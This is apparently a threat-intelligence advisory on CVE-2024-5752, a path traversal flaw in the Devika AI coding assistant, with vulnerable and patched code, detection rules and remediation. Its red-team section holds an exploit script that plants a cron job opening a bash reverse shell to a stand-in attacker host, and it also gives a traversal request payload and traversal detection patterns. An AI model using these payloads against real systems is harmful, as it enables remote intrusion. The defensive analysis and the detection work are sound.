CVE-2024-5752
Executive Summary
CVE-2024-5752 is a critical path traversal vulnerability in Stitionai Devika, an AI-powered software development assistant. The flaw exists in the project creation functionality, where the project name is not validated. An attacker can craft a project name containing directory traversal sequences (e.g., ../) to write files to arbitrary locations on the filesystem. This can lead to arbitrary file overwrite and, when combined with code generation features, remote code execution (RCE). The vulnerability has a CVSS score of 9.1 (Critical) and currently has no known patch. Public proof-of-concept (PoC) code exists, making active exploitation likely.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Stitionai Devika application, which is distributed as a Python package (PyPI). Users who install Devika via pip install devika are at risk. The supply chain risk is elevated because the vulnerable component is the core application itself, and no patched version is available. Organizations using Devika in development or CI/CD pipelines should immediately isolate or disable the service until a fix is applied.
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – An attacker can read arbitrary files.
- Integrity Impact: High (I:H) – An attacker can overwrite arbitrary files.
- Availability Impact: High (A:H) – An attacker can disrupt service by overwriting critical files.
Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this vulnerability extremely dangerous. Public PoC increases the likelihood of widespread exploitation.
Deep Dive & Mechanics
The vulnerability resides in the project creation endpoint of Devika. When a user creates a new project, the application accepts a project_name parameter. This name is used to create a directory on the filesystem where generated code and project files are stored. The application fails to sanitize or validate the project_name input, allowing an attacker to include path traversal sequences such as ../.
For example, a request like:
POST /api/projects
Content-Type: application/json
{"project_name": "../../../tmp/evil"}
would cause the application to create a directory at /tmp/evil (relative to the application's working directory). When the application later generates code and saves it to this project directory, it will write files to the traversed path. An attacker can use this to overwrite critical system files (e.g., SSH authorized_keys, cron jobs, web application files) or inject malicious code that gets executed.
The vulnerability is particularly dangerous because Devika generates code as part of its normal operation. If an attacker can control the generated code (e.g., by providing malicious prompts), they can achieve remote code execution by writing a malicious script to a location that will be executed (e.g., a web root or a cron directory).
Vulnerable vs. Patched Code
Vulnerable Code (beacf6edaa205a5a5370525407a6db45137873b3):
# In project creation handler
def create_project(project_name):
# No validation of project_name
project_path = os.path.join(BASE_DIR, project_name)
os.makedirs(project_path, exist_ok=True)
# Later, generated code is saved to project_path
save_generated_code(project_path, code)
Patched Code (Hypothetical):
import re
def create_project(project_name):
# Validate project name: allow only alphanumeric, underscores, hyphens
if not re.match(r'^[a-zA-Z0-9_-]+$', project_name):
raise ValueError("Invalid project name")
project_path = os.path.join(BASE_DIR, project_name)
# Ensure the path is within BASE_DIR
real_base = os.path.realpath(BASE_DIR)
real_project = os.path.realpath(project_path)
if not real_project.startswith(real_base):
raise ValueError("Path traversal detected")
os.makedirs(project_path, exist_ok=True)
save_generated_code(project_path, code)
Key Differences:
- Input validation: Patched version uses a regex to restrict project names to safe characters.
- Path normalization: Patched version uses
os.path.realpath()to resolve symlinks and..sequences, then checks that the resulting path is within the allowed base directory.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of Stitionai Devika (vulnerable version).
- Network access to the Devika API (default port 5000).
Exploit Steps:
- Identify the target: Scan for Devika instances using Shodan dorks or manual probing.
- Craft a malicious project name: Use path traversal to target a writable location.
- Create the project: Send a POST request to
/api/projectswith the malicious name. - Trigger code generation: Use the Devika API to generate code that will be saved to the traversed path.
- Execute the payload: If the written file is executable (e.g., a cron job or web shell), trigger its execution.
Example Exploit (Python):
import requests
target = "http://target:5000"
# Create a project that writes to /etc/cron.d/evil
project_name = "../../../etc/cron.d/evil"
payload = {"project_name": project_name}
r = requests.post(f"{target}/api/projects", json=payload)
print(f"Project creation: {r.status_code}")
# Now generate code that will be saved as a cron job
# The generated code should be a valid cron entry
code_payload = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'"
# This step depends on how Devika saves generated code
# Typically, it saves to a file named after the project
# So the file /etc/cron.d/evil will contain the cron entry
Expected Outcome: The attacker achieves remote code execution via a cron job that executes a reverse shell every minute.
Blue Team (Defense & Detection)
Detection:
- Monitor API logs for project names containing
../or other path traversal sequences. - Alert on file writes to sensitive directories (e.g.,
/etc/,/var/www/,/tmp/). - Use file integrity monitoring (FIM) to detect unauthorized changes to system files.
Prevention:
- Apply input validation and path sanitization as shown in the patched code.
- Run Devika in a sandboxed environment (e.g., Docker container with read-only root filesystem).
- Use a Web Application Firewall (WAF) to block path traversal patterns.
- Restrict the application's write permissions to only the necessary directories.
Hunting:
- Search for files in unexpected locations (e.g.,
/etc/cron.d/,/root/.ssh/) that were created by the Devika process. - Review system logs for unusual file creation events.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Unexpected files in
/etc/cron.d/,/root/.ssh/,/var/www/html/, or other sensitive directories. - Files with names matching the pattern of a Devika project (e.g.,
*.py,*.txt) in non-standard locations.
Network IOCs:
- POST requests to
/api/projectswithproject_namecontaining../or..\\. - Outbound connections from the Devika server to attacker-controlled IPs (reverse shell).
Log IOCs:
- Application logs showing project creation with suspicious names.
- System logs (e.g.,
auth.log,cron.log) showing unexpected entries.
Detection Engineering
YARA Rule
rule CVE_2024_5752_Path_Traversal {
meta:
description = "Detects path traversal attempts in Devika project names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5752"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e%5c"
condition:
any of them
}
Sigma Rule
title: CVE-2024-5752 Devika Path Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in Devika project creation requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: devika
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/projects'
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e%5c'
condition: selection
falsepositives:
- Legitimate use of dots in project names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5752 Devika Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/projects"; http_uri; content:"../"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the Devika instance: Disconnect it from the network or restrict access to trusted IPs only.
- Apply input validation: If you have access to the source code, implement the patched code shown above.
- Use a reverse proxy: Place a WAF or reverse proxy (e.g., Nginx, Apache) in front of Devika to filter path traversal patterns.
Long-Term Fix:
- Wait for an official patch from Stitionai. Monitor the GitHub repository for updates.
- Consider switching to an alternative tool if no patch is released in a timely manner.
Compensating Controls:
- Run Devika in a Docker container with a read-only root filesystem and only necessary mounts.
- Implement strict file system permissions to prevent the application from writing to sensitive directories.
- Enable auditd to monitor file creation events in critical directories.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert